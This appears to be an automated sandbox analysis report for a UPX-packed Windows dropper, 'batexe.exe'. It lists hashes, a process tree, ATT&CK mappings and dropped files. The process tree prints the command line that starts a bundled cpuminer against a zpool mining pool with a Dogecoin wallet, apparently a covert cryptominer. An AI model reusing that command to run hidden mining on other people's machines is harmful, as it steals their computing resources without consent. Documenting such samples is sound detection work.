73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 13:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2964	b2e.exe
1596	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2864-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 4644 wrote to memory of 1596	4644	cmd.exe	79
PID 4644 wrote to memory of 1596	4644	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9AF8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe

Filesize
8.3MB

MD5
ab584c936eee6bc2680e5d6c48e6b6fa

SHA1
82a96c5aad4942d1a5c2dcd9431ec911e5d8a041

SHA256
f812e6170913e140da64551b8e2373201836093b578972bce5c7f1e23bf9993a

SHA512
443b93e7a0a5c34b28b18cba0ff5cd25eaf4ce493ee13dfe93b54fbb338cd0d1050b0ce6062891890d67208947989b0919d9fac99a115dc30723c970de198ec2

Download Submit
C:\Users\Admin\AppData\Local\Temp\9942.tmp\b2e.exe

Filesize
12.7MB

MD5
664701524fe289572da7feff4dae244b

SHA1
34ef3b21eb25cc785cc34e2a61071e6e62457558

SHA256
2a2c3cd1f2a7b71805e169702bc8efd556a42aac2e2e5e01e3ffa33b9447ec78

SHA512
49e724ae3d0d7cf284cf59d6f1c2268deeadd6e9dfd6f2015ec1b531226d7955fb0ad60b4dc108c0d83fbca8edad24f92bcf1c5d5b2f5b2d60b844ed41bee5e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\9AF8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
52a3191f5b7b07d9bcbf6a2c63d23a30

SHA1
c2ecaab6f59a11e5d95e899a8e8b30fc6fec560e

SHA256
a20908ef81b5d7be353c9bb48b33978d8dd647645dcefae8e9c2794707d9f550

SHA512
1737a93e633ebbed9021ed5836396f2d5111f033eb75ae4a27cdbc74e1d1f3705b26c5c4c44956073f9bffa1c55fc622d157a1c1100a5ece937286df917dccc3

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
ce90f1969cfdfd53f06cea5368f61b45

SHA1
2de98a50be05d425be4c721c0dd75e3220ea0b7a

SHA256
82c9e687397c16380b9cd703abf17ae1e2b0cfdc508cf4bcc1096156cc4278b6

SHA512
1e67c8aea984c00e1e8a642a365c082ee6a86bcd6ca2938fbf1c4ef7fad4ba824d99a0a24feb8457910d6c3cd49d8996b7f83a18423256f945238315f922179c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
d059f42a9e41052155714d1b9cd5b7b1

SHA1
7b2d97d0c75746b7f0b5735ed9b03d23a148042b

SHA256
66910c4557113f7f3452a2850bd393839f0a0627ca3336802c63cd33fb48d704

SHA512
f64a4d57b21315925271c62a6e8a638e854171fa118394dbf034890518491a0d482156e3998522176b61f8ecda1543abe8e17379bcff6e8b6abc44877d29002b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1596-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1596-43-0x000000006F6F0000-0x000000006F788000-memory.dmp

Filesize
608KB

Download
memory/1596-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1596-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1596-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2864-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2964-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2964-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download